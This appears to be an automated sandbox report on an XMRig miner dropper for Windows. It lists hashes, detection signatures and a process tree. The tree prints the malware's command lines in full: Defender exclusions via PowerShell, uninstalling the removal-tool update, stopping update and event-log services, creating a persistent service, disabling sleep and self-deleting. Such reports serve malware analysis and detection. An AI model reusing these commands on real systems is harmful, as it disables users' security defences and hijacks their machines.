Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 10:05
Static task
static1
Behavioral task
behavioral1
Sample
b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe
Resource
win7-20240903-en
General
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Target
b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe
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Size
5.6MB
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MD5
faa44b6c5fc7dba2fe1efe82777db29d
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SHA1
aeb406f4b116e1aae2b29734c404f1af82c5955a
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SHA256
b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1
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SHA512
b30316fe55a7acd919b36b8e642fdbce3d2a41ff53bf25d11693a41e95996303c7e378c61564e6921113b81f8bbb22335a3c9fddd14e43276df0cc55705bc77a
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/HF:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgZ
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/3040-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/3040-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1672 powershell.exe 2480 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2808 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 1500 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2872 powercfg.exe 2792 powercfg.exe 2660 powercfg.exe 2816 powercfg.exe 2828 powercfg.exe 2912 powercfg.exe 2888 powercfg.exe 2936 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1500 set thread context of 3024 1500 fqwofdtexigy.exe 87 PID 1500 set thread context of 3040 1500 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/3040-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-42-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/3040-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3056 sc.exe 336 sc.exe 2732 sc.exe 2708 sc.exe 3060 sc.exe 1400 sc.exe 2324 sc.exe 1688 sc.exe 2640 sc.exe 2784 sc.exe 2580 sc.exe 2624 sc.exe 2232 sc.exe 2676 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c037048cfd51db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2480 powershell.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 2272 b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe 1500 fqwofdtexigy.exe 1672 powershell.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 1500 fqwofdtexigy.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe 3040 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2480 powershell.exe Token: SeShutdownPrivilege 2872 powercfg.exe Token: SeShutdownPrivilege 2660 powercfg.exe Token: SeShutdownPrivilege 2936 powercfg.exe Token: SeShutdownPrivilege 2792 powercfg.exe Token: SeDebugPrivilege 1672 powershell.exe Token: SeShutdownPrivilege 2816 powercfg.exe Token: SeShutdownPrivilege 2888 powercfg.exe Token: SeShutdownPrivilege 2828 powercfg.exe Token: SeShutdownPrivilege 2912 powercfg.exe Token: SeLockMemoryPrivilege 3040 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2756 wrote to memory of 2764 2756 cmd.exe 39 PID 2756 wrote to memory of 2764 2756 cmd.exe 39 PID 2756 wrote to memory of 2764 2756 cmd.exe 39 PID 2808 wrote to memory of 2464 2808 cmd.exe 64 PID 2808 wrote to memory of 2464 2808 cmd.exe 64 PID 2808 wrote to memory of 2464 2808 cmd.exe 64 PID 1652 wrote to memory of 624 1652 cmd.exe 72 PID 1652 wrote to memory of 624 1652 cmd.exe 72 PID 1652 wrote to memory of 624 1652 cmd.exe 72 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3024 1500 fqwofdtexigy.exe 87 PID 1500 wrote to memory of 3040 1500 fqwofdtexigy.exe 90 PID 1500 wrote to memory of 3040 1500 fqwofdtexigy.exe 90 PID 1500 wrote to memory of 3040 1500 fqwofdtexigy.exe 90 PID 1500 wrote to memory of 3040 1500 fqwofdtexigy.exe 90 PID 1500 wrote to memory of 3040 1500 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe"C:\Users\Admin\AppData\Local\Temp\b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2272 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2232
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2784
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2580
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2732
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2660
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2872
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:3056
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:3060
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2464
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2324
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1688
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:336
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1400
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2816
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2888
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2828
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2912
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:3024
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5faa44b6c5fc7dba2fe1efe82777db29d
SHA1aeb406f4b116e1aae2b29734c404f1af82c5955a
SHA256b1b9f3dce7cd0347439beeb5a7acc06ca97b4faf72ce83b85636a6224c8b27c1
SHA512b30316fe55a7acd919b36b8e642fdbce3d2a41ff53bf25d11693a41e95996303c7e378c61564e6921113b81f8bbb22335a3c9fddd14e43276df0cc55705bc77a